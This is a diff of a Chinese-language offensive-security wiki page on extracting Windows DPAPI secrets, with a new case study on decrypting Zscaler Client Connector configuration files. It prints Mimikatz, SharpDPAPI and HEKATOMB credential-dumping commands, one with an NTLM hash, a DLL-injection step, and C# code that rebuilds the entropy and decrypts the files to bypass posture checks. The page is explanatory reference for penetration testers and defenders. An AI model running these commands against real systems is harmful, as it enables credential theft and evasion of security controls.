Passport和各种加密和身份验证目的的私钥 +- 由凭据管理器管理的网络密码以及使用CryptProtectData的应用程序中的个人数据,例如Skype、MSN Messenger等 +- 注册表中的加密blob - ... 系统保护的数据包括: -- Wifi 密码 +- Wifi密码 - 计划任务密码 - ... @@ -82,7 +83,7 @@ lsadump::backupkeys /system: /export # SharpDPAPI SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk] ``` -- 拥有本地管理员权限后,可以**访问 LSASS 内存**以提取所有连接用户的 DPAPI 主密钥和 SYSTEM 密钥。 +- 拥有本地管理员权限后,可以**访问LSASS内存**以提取所有连接用户的DPAPI主密钥和SYSTEM密钥。 ```bash # Mimikatz mimikatz sekurlsa::dpapi @@ -100,7 +101,7 @@ dpapi::masterkey /in: /sid: /password: # SharpDPAPI SharpDPAPI.exe /target: /ntlm: ``` -**SharpDPAPI** 工具还支持这些参数用于 `credentials|vaults|rdg|keepass|triage|blob|ps` 解密(注意可以使用 `/rpc` 获取域备份密钥,使用 `/password` 来使用明文密码,使用 `/pvk` 指定 DPAPI 域私钥文件,使用 `/unprotect` 来使用当前用户会话...): +**SharpDPAPI** 工具还支持这些参数用于 `credentials|vaults|rdg|keepass|triage|blob|ps` 解密(注意可以使用 `/rpc` 获取域备份密钥,使用 `/password` 以明文密码,使用 `/pvk` 指定 DPAPI 域私钥文件,使用 `/unprotect` 以当前用户会话...): ``` Decryption: /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands @@ -232,7 +233,7 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect --- ### 处理可选熵(“第三方熵”) -一些应用程序将额外的 **entropy** 值传递给 `CryptProtectData`。没有这个值,blob 无法被解密,即使知道正确的 masterkey。因此,在针对以这种方式保护的凭据时,获取熵是至关重要的(例如 Microsoft Outlook、某些 VPN 客户端)。 +一些应用程序将额外的 **entropy** 值传递给 `CryptProtectData`。没有这个值,blob 无法解密,即使已知正确的 masterkey。因此,在针对以这种方式保护的凭据时,获取熵是至关重要的(例如 Microsoft Outlook、某些 VPN 客户端)。 [**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) 是一个用户模式 DLL,它在目标进程中钩住 DPAPI 函数,并透明地记录任何提供的可选熵。在 **DLL-injection** 模式下运行 EntropyCapture 针对 `outlook.exe` 或 `vpnclient.exe` 等进程将输出一个文件,将每个熵缓冲区映射到调用进程和 blob。捕获的熵可以稍后提供给 **SharpDPAPI** (`/entropy:`) 或 **Mimikatz** (`/entropy:`) 以解密数据。 ```powershell @@ -265,7 +266,7 @@ SharpChrome cookies /server:HOST /pvk:BASE64 ### HEKATOMB -[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动提取 LDAP 目录中所有用户和计算机的工具,并通过 RPC 提取域控制器备份密钥。然后,脚本将解析所有计算机的 IP 地址,并在所有计算机上执行 smbclient,以检索所有用户的 DPAPI blobs,并使用域备份密钥解密所有内容。 +[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动提取 LDAP 目录中所有用户和计算机的工具,并通过 RPC 提取域控制器备份密钥。脚本将解析所有计算机的 IP 地址,并在所有计算机上执行 smbclient,以检索所有用户的 DPAPI blobs,并使用域备份密钥解密所有内容。 `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` @@ -298,8 +299,44 @@ SharpChrome cookies /server:HOST /pvk:BASE64 * **CVE-2023-36004 – Windows DPAPI 安全通道欺骗**(2023年11月)。具有网络访问权限的攻击者可以欺骗域成员检索恶意 DPAPI 备份密钥,从而允许解密用户主密钥。已在 2023 年 11 月的累积更新中修补 – 管理员应确保 DC 和工作站完全修补。 * **Chrome 127 “App-Bound” cookie 加密**(2024年7月)用存储在用户 **Credential Manager** 下的附加密钥替换了传统的仅 DPAPI 保护。离线解密 cookie 现在需要 DPAPI 主密钥和 **GCM 包装的应用绑定密钥**。SharpChrome v2.3 和 DonPAPI 2.x 能够在以用户上下文运行时恢复额外密钥。 +### 案例研究:Zscaler Client Connector – 从 SID 派生的自定义熵 + +Zscaler Client Connector 在 `C:\ProgramData\Zscaler` 下存储多个配置文件(例如 `config.dat`、`users.dat`、`*.ztc`、`*.mtt`、`*.mtc`、`*.mtp`)。每个文件都使用 **DPAPI(机器范围)** 加密,但供应商提供的 **自定义熵** 是 *在运行时计算* 的,而不是存储在磁盘上。 + +熵是由两个元素重建的: + +1. 嵌入在 `ZSACredentialProvider.dll` 中的硬编码秘密。 +2. 配置所属 Windows 账户的 **SID**。 + +DLL 实现的算法相当于: +```csharp +byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET); +byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID); + +// XOR the two buffers byte-by-byte +byte[] tmp = new byte[secret.Length]; +for (int i = 0; i < secret.Length; i++) +tmp[i] = (byte)(sid[i] ^ secret[i]); + +// Split in half and XOR both halves together to create the final entropy buffer +byte[] entropy = new byte[tmp.Length / 2]; +for (int i = 0; i < entropy.Length; i++) +entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]); +``` +因为秘密嵌入在可以从磁盘读取的 DLL 中,**任何具有 SYSTEM 权限的本地攻击者都可以为任何 SID 重新生成熵**并离线解密这些 blobs: +```csharp +byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\++config.dat"); +byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine); +Console.WriteLine(Encoding.UTF8.GetString(clear)); +``` +解密会产生完整的 JSON 配置,包括每个 **设备姿态检查** 及其预期值——在尝试客户端绕过时,这些信息非常有价值。 + +> 提示:其他加密的工件(`*.mtt`,`*.mtp`,`*.mtc`,`*.ztc`)是通过 DPAPI **无** 熵(`16` 个零字节)保护的。因此,一旦获得 SYSTEM 权限,就可以直接使用 `ProtectedData.Unprotect` 解密它们。 + ## 参考文献 +- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) + - [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13) - [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c) - [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)